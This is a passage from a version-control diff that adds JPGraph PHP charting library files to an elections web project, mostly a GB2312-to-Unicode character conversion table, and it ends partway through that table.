+//('Internal error: Unknown path type specified for link.');
+			break;
+		}
+	    }
+	    $arrow = new LinkArrow($x2,$y2,$arrowtype);
+	}
+	$aImg->SetColor($this->iColor);
+	$aImg->SetLineWeight($this->iWeight);
+	$aImg->Polygon($c);
+	$aImg->SetLineWeight(1);
+	$arrow->SetColor($this->iColor);
+	$arrow->SetSize($this->iArrowSize);
+	$arrow->SetType($this->iArrowType);
+	$arrow->Stroke($aImg);
+    }
+}
+
+// <EOF>
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gb2312.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gb2312.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gb2312.php	(revision 44)
@@ -0,0 +1,1552 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_GB2312.PHP
+// Description:	PHP4 Graph Plotting library. Chinese font conversions
+// Created: 	2003-05-30
+// Ver:		$Id: jpgraph_gb2312.php 781 2006-10-08 08:07:47Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+class GB2312toUTF8 {
+// --------------------------------------------------------------------
+// This code table is used to translate GB2312 code (key) to 
+// it's corresponding Unicode value (data)
+// --------------------------------------------------------------------
+    private $codetable = array( 
+	8481 => 12288, 8482 => 12289, 8483 => 12290, 8484 => 12539, 8485 => 713,
+	8486 => 711, 8487 => 168, 8488 => 12291, 8489 => 12293, 8490 => 8213,
+	8491 => 65374, 8492 => 8214, 8493 => 8230, 8494 => 8216, 8495 => 8217,
+	8496 => 8220, 8497 => 8221, 8498 => 12308, 8499 => 12309, 8500 => 12296,
+	8501 => 12297, 8502 => 12298, 8503 => 12299, 8504 => 12300, 8505 => 12301,
+	8506 => 12302, 8507 => 12303, 8508 => 12310, 8509 => 12311, 8510 => 12304,
+	8511 => 12305, 8512 => 177, 8513 => 215, 8514 => 247, 8515 => 8758,
+	8516 => 8743, 8517 => 8744, 8518 => 8721, 8519 => 8719, 8520 => 8746,
+	8521 => 8745, 8522 => 8712, 8523 => 8759, 8524 => 8730, 8525 => 8869,
+	8526 => 8741, 8527 => 8736, 8528 => 8978, 8529 => 8857, 8530 => 8747,
+	8531 => 8750, 8532 => 8801, 8533 => 8780, 8534 => 8776, 8535 => 8765,
+	8536 => 8733, 8537 => 8800, 8538 => 8814, 8539 => 8815, 8540 => 8804,
+	8541 => 8805, 8542 => 8734, 8543 => 8757, 8544 => 8756, 8545 => 9794,
+	8546 => 9792, 8547 => 176, 8548 => 8242, 8549 => 8243, 8550 => 8451,
+	8551 => 65284, 8552 => 164, 8553 => 65504, 8554 => 65505, 8555 => 8240,
+	8556 => 167, 8557 => 8470, 8558 => 9734, 8559 => 9733, 8560 => 9675,
+	8561 => 9679, 8562 => 9678, 8563 => 9671, 8564 => 9670, 8565 => 9633,
+	8566 => 9632, 8567 => 9651, 8568 => 9650, 8569 => 8251, 8570 => 8594,
+	8571 => 8592, 8572 => 8593, 8573 => 8595, 8574 => 12307, 8753 => 9352,
+	8754 => 9353, 8755 => 9354, 8756 => 9355, 8757 => 9356, 8758 => 9357,
+	8759 => 9358, 8760 => 9359, 8761 => 9360, 8762 => 9361, 8763 => 9362,
+	8764 => 9363, 8765 => 9364, 8766 => 9365, 8767 => 9366, 8768 => 9367,
+	8769 => 9368, 8770 => 9369, 8771 => 9370, 8772 => 9371, 8773 => 9332,
+	8774 => 9333, 8775 => 9334, 8776 => 9335, 8777 => 9336, 8778 => 9337,
+	8779 => 9338, 8780 => 9339, 8781 => 9340, 8782 => 9341, 8783 => 9342,
+	8784 => 9343, 8785 => 9344, 8786 => 9345, 8787 => 9346, 8788 => 9347,
+	8789 => 9348, 8790 => 9349, 8791 => 9350, 8792 => 9351, 8793 => 9312,
+	8794 => 9313, 8795 => 9314, 8796 => 9315, 8797 => 9316, 8798 => 9317,
+	8799 => 9318, 8800 => 9319, 8801 => 9320, 8802 => 9321, 8805 => 12832,
+	8806 => 12833, 8807 => 12834, 8808 => 12835, 8809 => 12836, 8810 => 12837,
+	8811 => 12838, 8812 => 12839, 8813 => 12840, 8814 => 12841, 8817 => 8544,
+	8818 => 8545, 8819 => 8546, 8820 => 8547, 8821 => 8548, 8822 => 8549,
+	8823 => 8550, 8824 => 8551, 8825 => 8552, 8826 => 8553, 8827 => 8554,
+	8828 => 8555, 8993 => 65281, 8994 => 65282, 8995 => 65283, 8996 => 65509,
+	8997 => 65285, 8998 => 65286, 8999 => 65287, 9000 => 65288, 9001 => 65289,
+	9002 => 65290, 9003 => 65291, 9004 => 65292, 9005 => 65293, 9006 => 65294,
+	9007 => 65295, 9008 => 65296, 9009 => 65297, 9010 => 65298, 9011 => 65299,
+	9012 => 65300, 9013 => 65301, 9014 => 65302, 9015 => 65303, 9016 => 65304,
+	9017 => 65305, 9018 => 65306, 9019 => 65307, 9020 => 65308, 9021 => 65309,
+	9022 => 65310, 9023 => 65311, 9024 => 65312, 9025 => 65313, 9026 => 65314,
+	9027 => 65315, 9028 => 65316, 9029 => 65317, 9030 => 65318, 9031 => 65319,
+	9032 => 65320, 9033 => 65321, 9034 => 65322, 9035 => 65323, 9036 => 65324,
+	9037 => 65325, 9038 => 65326, 9039 => 65327, 9040 => 65328, 9041 => 65329,
+	9042 => 65330, 9043 => 65331, 9044 => 65332, 9045 => 65333, 9046 => 65334,
+	9047 => 65335, 9048 => 65336, 9049 => 65337, 9050 => 65338, 9051 => 65339,
+	9052 => 65340, 9053 => 65341, 9054 => 65342, 9055 => 65343, 9056 => 65344,
+	9057 => 65345, 9058 => 65346, 9059 => 65347, 9060 => 65348, 9061 => 65349,
+	9062 => 65350, 9063 => 65351, 9064 => 65352, 9065 => 65353, 9066 => 65354,
+	9067 => 65355, 9068 => 65356, 9069 => 65357, 9070 => 65358, 9071 => 65359,
+	9072 => 65360, 9073 => 65361, 9074 => 65362, 9075 => 65363, 9076 => 65364,
+	9077 => 65365, 9078 => 65366, 9079 => 65367, 9080 => 65368, 9081 => 65369,
+	9082 => 65370, 9083 => 65371, 9084 => 65372, 9085 => 65373, 9086 => 65507,
+	9249 => 12353, 9250 => 12354, 9251 => 12355, 9252 => 12356, 9253 => 12357,
+	9254 => 12358, 9255 => 12359, 9256 => 12360, 9257 => 12361, 9258 => 12362,
+	9259 => 12363, 9260 => 12364, 9261 => 12365, 9262 => 12366, 9263 => 12367,
+	9264 => 12368, 9265 => 12369, 9266 => 12370, 9267 => 12371, 9268 => 12372,
+	9269 => 12373, 9270 => 12374, 9271 => 12375, 9272 => 12376, 9273 => 12377,
+	9274 => 12378, 9275 => 12379, 9276 => 12380, 9277 => 12381, 9278 => 12382,
+	9279 => 12383, 9280 => 12384, 9281 => 12385, 9282 => 12386, 9283 => 12387,
+	9284 => 12388, 9285 => 12389, 9286 => 12390, 9287 => 12391, 9288 => 12392,
+	9289 => 12393, 9290 => 12394, 9291 => 12395, 9292 => 12396, 9293 => 12397,
+	9294 => 12398, 9295 => 12399, 9296 => 12400, 9297 => 12401, 9298 => 12402,
+	9299 => 12403, 9300 => 12404, 9301 => 12405, 9302 => 12406, 9303 => 12407,
+	9304 => 12408, 9305 => 12409, 9306 => 12410, 9307 => 12411, 9308 => 12412,
+	9309 => 12413, 9310 => 12414, 9311 => 12415, 9312 => 12416, 9313 => 12417,
+	9314 => 12418, 9315 => 12419, 9316 => 12420, 9317 => 12421, 9318 => 12422,
+	9319 => 12423, 9320 => 12424, 9321 => 12425, 9322 => 12426, 9323 => 12427,
+	9324 => 12428, 9325 => 12429, 9326 => 12430, 9327 => 12431, 9328 => 12432,
+	9329 => 12433, 9330 => 12434, 9331 => 12435, 9505 => 12449, 9506 => 12450,
+	9507 => 12451, 9508 => 12452, 9509 => 12453, 9510 => 12454, 9511 => 12455,
+	9512 => 12456, 9513 => 12457, 9514 => 12458, 9515 => 12459, 9516 => 12460,
+	9517 => 12461, 9518 => 12462, 9519 => 12463, 9520 => 12464, 9521 => 12465,
+	9522 => 12466, 9523 => 12467, 9524 => 12468, 9525 => 12469, 9526 => 12470,
+	9527 => 12471, 9528 => 12472, 9529 => 12473, 9530 => 12474, 9531 => 12475,
+	9532 => 12476, 9533 => 12477, 9534 => 12478, 9535 => 12479, 9536 => 12480,
+	9537 => 12481, 9538 => 12482, 9539 => 12483, 9540 => 12484, 9541 => 12485,
+	9542 => 12486, 9543 => 12487, 9544 => 12488, 9545 => 12489, 9546 => 12490,
+	9547 => 12491, 9548 => 12492, 9549 => 12493, 9550 => 12494, 9551 => 12495,
+	9552 => 12496, 9553 => 12497, 9554 => 12498, 9555 => 12499, 9556 => 12500,
+	9557 => 12501, 9558 => 12502, 9559 => 12503, 9560 => 12504, 9561 => 12505,
+	9562 => 12506, 9563 => 12507, 9564 => 12508, 9565 => 12509, 9566 => 12510,
+	9567 => 12511, 9568 => 12512, 9569 => 12513, 9570 => 12514, 9571 => 12515,
+	9572 => 12516, 9573 => 12517, 9574 => 12518, 9575 => 12519, 9576 => 12520,
+	9577 => 12521, 9578 => 12522, 9579 => 12523, 9580 => 12524, 9581 => 12525,
+	9582 => 12526, 9583 => 12527, 9584 => 12528, 9585 => 12529, 9586 => 12530,
+	9587 => 12531, 9588 => 12532, 9589 => 12533, 9590 => 12534, 9761 => 913,
+	9762 => 914, 9763 => 915, 9764 => 916, 9765 => 917, 9766 => 918,
+	9767 => 919, 9768 => 920, 9769 => 921, 9770 => 922, 9771 => 923,
+	9772 => 924, 9773 => 925, 9774 => 926, 9775 => 927, 9776 => 928,
+	9777 => 929, 9778 => 931, 9779 => 932, 9780 => 933, 9781 => 934,
+	9782 => 935, 9783 => 936, 9784 => 937, 9793 => 945, 9794 => 946,
+	9795 => 947, 9796 => 948, 9797 => 949, 9798 => 950, 9799 => 951,
+	9800 => 952, 9801 => 953, 9802 => 954, 9803 => 955, 9804 => 956,
+	9805 => 957, 9806 => 958, 9807 => 959, 9808 => 960, 9809 => 961,
+	9810 => 963, 9811 => 964, 9812 => 965, 9813 => 966, 9814 => 967,
+	9815 => 968, 9816 => 969, 10017 => 1040, 10018 => 1041, 10019 => 1042,
+	10020 => 1043, 10021 => 1044, 10022 => 1045, 10023 => 1025, 10024 => 1046,
+	10025 => 1047, 10026 => 1048, 10027 => 1049, 10028 => 1050, 10029 => 1051,
+	10030 => 1052, 10031 => 1053, 10032 => 1054, 10033 => 1055, 10034 => 1056,
+	10035 => 1057, 10036 => 1058, 10037 => 1059, 10038 => 1060, 10039 => 1061,
+	10040 => 1062, 10041 => 1063, 10042 => 1064, 10043 => 1065, 10044 => 1066,
+	10045 => 1067, 10046 => 1068, 10047 => 1069, 10048 => 1070, 10049 => 1071,
+	10065 => 1072, 10066 => 1073, 10067 => 1074, 10068 => 1075, 10069 => 1076,
+	10070 => 1077, 10071 => 1105, 10072 => 1078, 10073 => 1079, 10074 => 1080,
+	10075 => 1081, 10076 => 1082, 10077 => 1083, 10078 => 1084, 10079 => 1085,
+	10080 => 1086, 10081 => 1087, 10082 => 1088, 10083 => 1089, 10084 => 1090,
+	10085 => 1091, 10086 => 1092, 10087 => 1093, 10088 => 1094, 10089 => 1095,
+	10090 => 1096, 10091 => 1097, 10092 => 1098, 10093 => 1099, 10094 => 1100,
+	10095 => 1101, 10096 => 1102, 10097 => 1103, 10273 => 257, 10274 => 225,
+	10275 => 462, 10276 => 224, 10277 => 275, 10278 => 233, 10279 => 283,
+	10280 => 232, 10281 => 299, 10282 => 237, 10283 => 464, 10284 => 236,
+	10285 => 333, 10286 => 243, 10287 => 466, 10288 => 242, 10289 => 363,
+	10290 => 250, 10291 => 468, 10292 => 249, 10293 => 470, 10294 => 472,
+	10295 => 474, 10296 => 476, 10297 => 252, 10298 => 234, 10309 => 12549,
+	10310 => 12550, 10311 => 12551, 10312 => 12552, 10313 => 12553, 10314 => 12554,
+	10315 => 12555, 10316 => 12556, 10317 => 12557, 10318 => 12558, 10319 => 12559,
+	10320 => 12560, 10321 => 12561, 10322 => 12562, 10323 => 12563, 10324 => 12564,
+	10325 => 12565, 10326 => 12566, 10327 => 12567, 10328 => 12568, 10329 => 12569,
+	10330 => 12570, 10331 => 12571, 10332 => 12572, 10333 => 12573, 10334 => 12574,
+	10335 => 12575, 10336 => 12576, 10337 => 12577, 10338 => 12578, 10339 => 12579,
+	10340 => 12580, 10341 => 12581, 10342 => 12582, 10343 => 12583, 10344 => 12584,
+	10345 => 12585, 10532 => 9472, 10533 => 9473, 10534 => 9474, 10535 => 9475,
+	10536 => 9476, 10537 => 9477, 10538 => 9478, 10539 => 9479, 10540 => 9480,
+	10541 => 9481, 10542 => 9482, 10543 => 9483, 10544 => 9484, 10545 => 9485,
+	10546 => 9486, 10547 => 9487, 10548 => 9488, 10549 => 9489, 10550 => 9490,
+	10551 => 9491, 10552 => 9492, 10553 => 9493, 10554 => 9494, 10555 => 9495,
+	10556 => 9496, 10557 => 9497, 10558 => 9498, 10559 => 9499, 10560 => 9500,
+	10561 => 9501, 10562 => 9502, 10563 => 9503, 10564 => 9504, 10565 => 9505,
+	10566 => 9506, 10567 => 9507, 10568 => 9508, 10569 => 9509, 10570 => 9510,
+	10571 => 9511, 10572 => 9512, 10573 => 9513, 10574 => 9514, 10575 => 9515,
+	10576 => 9516, 10577 => 9517, 10578 => 9518, 10579 => 9519, 10580 => 9520,
+	10581 => 9521, 10582 => 9522, 10583 => 9523, 10584 => 9524, 10585 => 9525,
+	10586 => 9526, 10587 => 9527, 10588 => 9528, 10589 => 9529, 10590 => 9530,
+	10591 => 9531, 10592 => 9532, 10593 => 9533, 10594 => 9534, 10595 => 9535,
+	10596 => 9536, 10597 => 9537, 10598 => 9538, 10599 => 9539, 10600 => 9540,
+	10601 => 9541, 10602 => 9542, 10603 => 9543, 10604 => 9544, 10605 => 9545,
+	10606 => 9546, 10607 => 9547, 12321 => 21834, 12322 => 38463, 12323 => 22467,
+	12324 => 25384, 12325 => 21710, 12326 => 21769, 12327 => 21696, 12328 => 30353,
+	12329 => 30284, 12330 => 34108, 12331 => 30702, 12332 => 33406, 12333 => 30861,
+	12334 => 29233, 12335 => 38552, 12336 => 38797, 12337 => 27688, 12338 => 23433,
+	12339 => 20474, 12340 => 25353, 12341 => 26263, 12342 => 23736, 12343 => 33018,
+	12344 => 26696, 12345 => 32942, 12346 => 26114, 12347 => 30414, 12348 => 20985,
+	12349 => 25942, 12350 => 29100, 12351 => 32753, 12352 => 34948, 12353 => 20658,
+	12354 => 22885, 12355 => 25034, 12356 => 28595, 12357 => 33453, 12358 => 25420,
+	12359 => 25170, 12360 => 21485, 12361 => 21543, 12362 => 31494, 12363 => 20843,
+	12364 => 30116, 12365 => 24052, 12366 => 25300, 12367 => 36299, 12368 => 38774,
+	12369 => 25226, 12370 => 32793, 12371 => 22365, 12372 => 38712, 12373 => 32610,
+	12374 => 29240, 12375 => 30333, 12376 => 26575, 12377 => 30334, 12378 => 25670,
+	12379 => 20336, 12380 => 36133, 12381 => 25308, 12382 => 31255, 12383 => 26001,
+	12384 => 29677, 12385 => 25644, 12386 => 25203, 12387 => 33324, 12388 => 39041,
+	12389 => 26495, 12390 => 29256, 12391 => 25198, 12392 => 25292, 12393 => 20276,
+	12394 => 29923, 12395 => 21322, 12396 => 21150, 12397 => 32458, 12398 => 37030,
+	12399 => 24110, 12400 => 26758, 12401 => 27036, 12402 => 33152, 12403 => 32465,
+	12404 => 26834, 12405 => 30917, 12406 => 34444, 12407 => 38225, 12408 => 20621,
+	12409 => 35876, 12410 => 33502, 12411 => 32990, 12412 => 21253, 12413 => 35090,
+	12414 => 21093, 12577 => 34180, 12578 => 38649, 12579 => 20445, 12580 => 22561,
+	12581 => 39281, 12582 => 23453, 12583 => 25265, 12584 => 25253, 12585 => 26292,
+	12586 => 35961, 12587 => 40077, 12588 => 29190, 12589 => 26479, 12590 => 30865,
+	12591 => 24754, 12592 => 21329, 12593 => 21271, 12594 => 36744, 12595 => 32972,
+	12596 => 36125, 12597 => 38049, 12598 => 20493, 12599 => 29384, 12600 => 22791,
+	12601 => 24811, 12602 => 28953, 12603 => 34987, 12604 => 22868, 12605 => 33519,
+	12606 => 26412, 12607 => 31528, 12608 => 23849, 12609 => 32503, 12610 => 29997,
+	12611 => 27893, 12612 => 36454, 12613 => 36856, 12614 => 36924, 12615 => 40763,
+	12616 => 27604, 12617 => 37145, 12618 => 31508, 12619 => 24444, 12620 => 30887,
+	12621 => 34006, 12622 => 34109, 12623 => 27605, 12624 => 27609, 12625 => 27606,
+	12626 => 24065, 12627 => 24199, 12628 => 30201, 12629 => 38381, 12630 => 25949,
+	12631 => 24330, 12632 => 24517, 12633 => 36767, 12634 => 22721, 12635 => 33218,
+	12636 => 36991, 12637 => 38491, 12638 => 38829, 12639 => 36793, 12640 => 32534,
+	12641 => 36140, 12642 => 25153, 12643 => 20415, 12644 => 21464, 12645 => 21342,
+	12646 => 36776, 12647 => 36777, 12648 => 36779, 12649 => 36941, 12650 => 26631,
+	12651 => 24426, 12652 => 33176, 12653 => 34920, 12654 => 40150, 12655 => 24971,
+	12656 => 21035, 12657 => 30250, 12658 => 24428, 12659 => 25996, 12660 => 28626,
+	12661 => 28392, 12662 => 23486, 12663 => 25672, 12664 => 20853, 12665 => 20912,
+	12666 => 26564, 12667 => 19993, 12668 => 31177, 12669 => 39292, 12670 => 28851,
+	12833 => 30149, 12834 => 24182, 12835 => 29627, 12836 => 33760, 12837 => 25773,
+	12838 => 25320, 12839 => 38069, 12840 => 27874, 12841 => 21338, 12842 => 21187,
+	12843 => 25615, 12844 => 38082, 12845 => 31636, 12846 => 20271, 12847 => 24091,
+	12848 => 33334, 12849 => 33046, 12850 => 33162, 12851 => 28196, 12852 => 27850,
+	12853 => 39539, 12854 => 25429, 12855 => 21340, 12856 => 21754, 12857 => 34917,
+	12858 => 22496, 12859 => 19981, 12860 => 24067, 12861 => 27493, 12862 => 31807,
+	12863 => 37096, 12864 => 24598, 12865 => 25830, 12866 => 29468, 12867 => 35009,
+	12868 => 26448, 12869 => 25165, 12870 => 36130, 12871 => 30572, 12872 => 36393,
+	12873 => 37319, 12874 => 24425, 12875 => 33756, 12876 => 34081, 12877 => 39184,
+	12878 => 21442, 12879 => 34453, 12880 => 27531, 12881 => 24813, 12882 => 24808,
+	12883 => 28799, 12884 => 33485, 12885 => 33329, 12886 => 20179, 12887 => 27815,
+	12888 => 34255, 12889 => 25805, 12890 => 31961, 12891 => 27133, 12892 => 26361,
+	12893 => 33609, 12894 => 21397, 12895 => 31574, 12896 => 20391, 12897 => 20876,
+	12898 => 27979, 12899 => 23618, 12900 => 36461, 12901 => 25554, 12902 => 21449,
+	12903 => 33580, 12904 => 33590, 12905 => 26597, 12906 => 30900, 12907 => 25661,
+	12908 => 23519, 12909 => 23700, 12910 => 24046, 12911 => 35815, 12912 => 25286,
+	12913 => 26612, 12914 => 35962, 12915 => 25600, 12916 => 25530, 12917 => 34633,
+	12918 => 39307, 12919 => 35863, 12920 => 32544, 12921 => 38130, 12922 => 20135,
+	12923 => 38416, 12924 => 39076, 12925 => 26124, 12926 => 29462, 13089 => 22330,
+	13090 => 23581, 13091 => 24120, 13092 => 38271, 13093 => 20607, 13094 => 32928,
+	13095 => 21378, 13096 => 25950, 13097 => 30021, 13098 => 21809, 13099 => 20513,
+	13100 => 36229, 13101 => 25220, 13102 => 38046, 13103 => 26397, 13104 => 22066,
+	13105 => 28526, 13106 => 24034, 13107 => 21557, 13108 => 28818, 13109 => 36710,
+	13110 => 25199, 13111 => 25764, 13112 => 25507, 13113 => 24443, 13114 => 28552,
+	13115 => 37108, 13116 => 33251, 13117 => 36784, 13118 => 23576, 13119 => 26216,
+	13120 => 24561, 13121 => 27785, 13122 => 38472, 13123 => 36225, 13124 => 34924,
+	13125 => 25745, 13126 => 31216, 13127 => 22478, 13128 => 27225, 13129 => 25104,
+	13130 => 21576, 13131 => 20056, 13132 => 31243, 13133 => 24809, 13134 => 28548,
+	13135 => 35802, 13136 => 25215, 13137 => 36894, 13138 => 39563, 13139 => 31204,
+13140 => 21507, 13141 => 30196, 13142 => 25345, 13143 => 21273, 13144 => 27744,
+13145 => 36831, 13146 => 24347, 13147 => 39536, 13148 => 32827, 13149 => 40831,
+13150 => 20360, 13151 => 23610, 13152 => 36196, 13153 => 32709, 13154 => 26021,
+13155 => 28861, 13156 => 20805, 13157 => 20914, 13158 => 34411, 13159 => 23815,
+13160 => 23456, 13161 => 25277, 13162 => 37228, 13163 => 30068, 13164 => 36364,
+13165 => 31264, 13166 => 24833, 13167 => 31609, 13168 => 20167, 13169 => 32504,
+13170 => 30597, 13171 => 19985, 13172 => 33261, 13173 => 21021, 13174 => 20986,
+13175 => 27249, 13176 => 21416, 13177 => 36487, 13178 => 38148, 13179 => 38607,
+13180 => 28353, 13181 => 38500, 13182 => 26970, 13345 => 30784, 13346 => 20648,
+13347 => 30679, 13348 => 25616, 13349 => 35302, 13350 => 22788, 13351 => 25571,
+13352 => 24029, 13353 => 31359, 13354 => 26941, 13355 => 20256, 13356 => 33337,
+13357 => 21912, 13358 => 20018, 13359 => 30126, 13360 => 31383, 13361 => 24162,
+13362 => 24202, 13363 => 38383, 13364 => 21019, 13365 => 21561, 13366 => 28810,
+13367 => 25462, 13368 => 38180, 13369 => 22402, 13370 => 26149, 13371 => 26943,
+13372 => 37255, 13373 => 21767, 13374 => 28147, 13375 => 32431, 13376 => 34850,
+13377 => 25139, 13378 => 32496, 13379 => 30133, 13380 => 33576, 13381 => 30913,
+13382 => 38604, 13383 => 36766, 13384 => 24904, 13385 => 29943, 13386 => 35789,
+13387 => 27492, 13388 => 21050, 13389 => 36176, 13390 => 27425, 13391 => 32874,
+13392 => 33905, 13393 => 22257, 13394 => 21254, 13395 => 20174, 13396 => 19995,
+13397 => 20945, 13398 => 31895, 13399 => 37259, 13400 => 31751, 13401 => 20419,
+13402 => 36479, 13403 => 31713, 13404 => 31388, 13405 => 25703, 13406 => 23828,
+13407 => 20652, 13408 => 33030, 13409 => 30209, 13410 => 31929, 13411 => 28140,
+13412 => 32736, 13413 => 26449, 13414 => 23384, 13415 => 23544, 13416 => 30923,
+13417 => 25774, 13418 => 25619, 13419 => 25514, 13420 => 25387, 13421 => 38169,
+13422 => 25645, 13423 => 36798, 13424 => 31572, 13425 => 30249, 13426 => 25171,
+13427 => 22823, 13428 => 21574, 13429 => 27513, 13430 => 20643, 13431 => 25140,
+13432 => 24102, 13433 => 27526, 13434 => 20195, 13435 => 36151, 13436 => 34955,
+13437 => 24453, 13438 => 36910, 13601 => 24608, 13602 => 32829, 13603 => 25285,
+13604 => 20025, 13605 => 21333, 13606 => 37112, 13607 => 25528, 13608 => 32966,
+13609 => 26086, 13610 => 27694, 13611 => 20294, 13612 => 24814, 13613 => 28129,
+13614 => 35806, 13615 => 24377, 13616 => 34507, 13617 => 24403, 13618 => 25377,
+13619 => 20826, 13620 => 33633, 13621 => 26723, 13622 => 20992, 13623 => 25443,
+13624 => 36424, 13625 => 20498, 13626 => 23707, 13627 => 31095, 13628 => 23548,
+13629 => 21040, 13630 => 31291, 13631 => 24764, 13632 => 36947, 13633 => 30423,
+13634 => 24503, 13635 => 24471, 13636 => 30340, 13637 => 36460, 13638 => 28783,
+13639 => 30331, 13640 => 31561, 13641 => 30634, 13642 => 20979, 13643 => 37011,
+13644 => 22564, 13645 => 20302, 13646 => 28404, 13647 => 36842, 13648 => 25932,
+13649 => 31515, 13650 => 29380, 13651 => 28068, 13652 => 32735, 13653 => 23265,
+13654 => 25269, 13655 => 24213, 13656 => 22320, 13657 => 33922, 13658 => 31532,
+13659 => 24093, 13660 => 24351, 13661 => 36882, 13662 => 32532, 13663 => 39072,
+13664 => 25474, 13665 => 28359, 13666 => 30872, 13667 => 28857, 13668 => 20856,
+13669 => 38747, 13670 => 22443, 13671 => 30005, 13672 => 20291, 13673 => 30008,
+13674 => 24215, 13675 => 24806, 13676 => 22880, 13677 => 28096, 13678 => 27583,
+13679 => 30857, 13680 => 21500, 13681 => 38613, 13682 => 20939, 13683 => 20993,
+13684 => 25481, 13685 => 21514, 13686 => 38035, 13687 => 35843, 13688 => 36300,
+13689 => 29241, 13690 => 30879, 13691 => 34678, 13692 => 36845, 13693 => 35853,
+13694 => 21472, 13857 => 19969, 13858 => 30447, 13859 => 21486, 13860 => 38025,
+13861 => 39030, 13862 => 40718, 13863 => 38189, 13864 => 23450, 13865 => 35746,
+13866 => 20002, 13867 => 19996, 13868 => 20908, 13869 => 33891, 13870 => 25026,
+13871 => 21160, 13872 => 26635, 13873 => 20375, 13874 => 24683, 13875 => 20923,
+13876 => 27934, 13877 => 20828, 13878 => 25238, 13879 => 26007, 13880 => 38497,
+13881 => 35910, 13882 => 36887, 13883 => 30168, 13884 => 37117, 13885 => 30563,
+13886 => 27602, 13887 => 29322, 13888 => 29420, 13889 => 35835, 13890 => 22581,
+13891 => 30585, 13892 => 36172, 13893 => 26460, 13894 => 38208, 13895 => 32922,
+13896 => 24230, 13897 => 28193, 13898 => 22930, 13899 => 31471, 13900 => 30701,
+13901 => 38203, 13902 => 27573, 13903 => 26029, 13904 => 32526, 13905 => 22534,
+13906 => 20817, 13907 => 38431, 13908 => 23545, 13909 => 22697, 13910 => 21544,
+13911 => 36466, 13912 => 25958, 13913 => 39039, 13914 => 22244, 13915 => 38045,
+13916 => 30462, 13917 => 36929, 13918 => 25479, 13919 => 21702, 13920 => 22810,
+13921 => 22842, 13922 => 22427, 13923 => 36530, 13924 => 26421, 13925 => 36346,
+13926 => 33333, 13927 => 21057, 13928 => 24816, 13929 => 22549, 13930 => 34558,
+13931 => 23784, 13932 => 40517, 13933 => 20420, 13934 => 39069, 13935 => 35769,
+13936 => 23077, 13937 => 24694, 13938 => 21380, 13939 => 25212, 13940 => 36943,
+13941 => 37122, 13942 => 39295, 13943 => 24681, 13944 => 32780, 13945 => 20799,
+13946 => 32819, 13947 => 23572, 13948 => 39285, 13949 => 27953, 13950 => 20108,
+14113 => 36144, 14114 => 21457, 14115 => 32602, 14116 => 31567, 14117 => 20240,
+14118 => 20047, 14119 => 38400, 14120 => 27861, 14121 => 29648, 14122 => 34281,
+14123 => 24070, 14124 => 30058, 14125 => 32763, 14126 => 27146, 14127 => 30718,
+14128 => 38034, 14129 => 32321, 14130 => 20961, 14131 => 28902, 14132 => 21453,
+14133 => 36820, 14134 => 33539, 14135 => 36137, 14136 => 29359, 14137 => 39277,
+14138 => 27867, 14139 => 22346, 14140 => 33459, 14141 => 26041, 14142 => 32938,
+14143 => 25151, 14144 => 38450, 14145 => 22952, 14146 => 20223, 14147 => 35775,
+14148 => 32442, 14149 => 25918, 14150 => 33778, 14151 => 38750, 14152 => 21857,
+14153 => 39134, 14154 => 32933, 14155 => 21290, 14156 => 35837, 14157 => 21536,
+14158 => 32954, 14159 => 24223, 14160 => 27832, 14161 => 36153, 14162 => 33452,
+14163 => 37210, 14164 => 21545, 14165 => 27675, 14166 => 20998, 14167 => 32439,
+14168 => 22367, 14169 => 28954, 14170 => 27774, 14171 => 31881, 14172 => 22859,
+14173 => 20221, 14174 => 24575, 14175 => 24868, 14176 => 31914, 14177 => 20016,
+14178 => 23553, 14179 => 26539, 14180 => 34562, 14181 => 23792, 14182 => 38155,
+14183 => 39118, 14184 => 30127, 14185 => 28925, 14186 => 36898, 14187 => 20911,
+14188 => 32541, 14189 => 35773, 14190 => 22857, 14191 => 20964, 14192 => 20315,
+14193 => 21542, 14194 => 22827, 14195 => 25975, 14196 => 32932, 14197 => 23413,
+14198 => 25206, 14199 => 25282, 14200 => 36752, 14201 => 24133, 14202 => 27679,
+14203 => 31526, 14204 => 20239, 14205 => 20440, 14206 => 26381, 14369 => 28014,
+14370 => 28074, 14371 => 31119, 14372 => 34993, 14373 => 24343, 14374 => 29995,
+14375 => 25242, 14376 => 36741, 14377 => 20463, 14378 => 37340, 14379 => 26023,
+14380 => 33071, 14381 => 33105, 14382 => 24220, 14383 => 33104, 14384 => 36212,
+14385 => 21103, 14386 => 35206, 14387 => 36171, 14388 => 22797, 14389 => 20613,
+14390 => 20184, 14391 => 38428, 14392 => 29238, 14393 => 33145, 14394 => 36127,
+14395 => 23500, 14396 => 35747, 14397 => 38468, 14398 => 22919, 14399 => 32538,
+14400 => 21648, 14401 => 22134, 14402 => 22030, 14403 => 35813, 14404 => 25913,
+14405 => 27010, 14406 => 38041, 14407 => 30422, 14408 => 28297, 14409 => 24178,
+14410 => 29976, 14411 => 26438, 14412 => 26577, 14413 => 31487, 14414 => 32925,
+14415 => 36214, 14416 => 24863, 14417 => 31174, 14418 => 25954, 14419 => 36195,
+14420 => 20872, 14421 => 21018, 14422 => 38050, 14423 => 32568, 14424 => 32923,
+14425 => 32434, 14426 => 23703, 14427 => 28207, 14428 => 26464, 14429 => 31705,
+14430 => 30347, 14431 => 39640, 14432 => 33167, 14433 => 32660, 14434 => 31957,
+14435 => 25630, 14436 => 38224, 14437 => 31295, 14438 => 21578, 14439 => 21733,
+14440 => 27468, 14441 => 25601, 14442 => 25096, 14443 => 40509, 14444 => 33011,
+14445 => 30105, 14446 => 21106, 14447 => 38761, 14448 => 33883, 14449 => 26684,
+14450 => 34532, 14451 => 38401, 14452 => 38548, 14453 => 38124, 14454 => 20010,
+14455 => 21508, 14456 => 32473, 14457 => 26681, 14458 => 36319, 14459 => 32789,
+14460 => 26356, 14461 => 24218, 14462 => 32697, 14625 => 22466, 14626 => 32831,
+14627 => 26775, 14628 => 24037, 14629 => 25915, 14630 => 21151, 14631 => 24685,
+14632 => 40858, 14633 => 20379, 14634 => 36524, 14635 => 20844, 14636 => 23467,
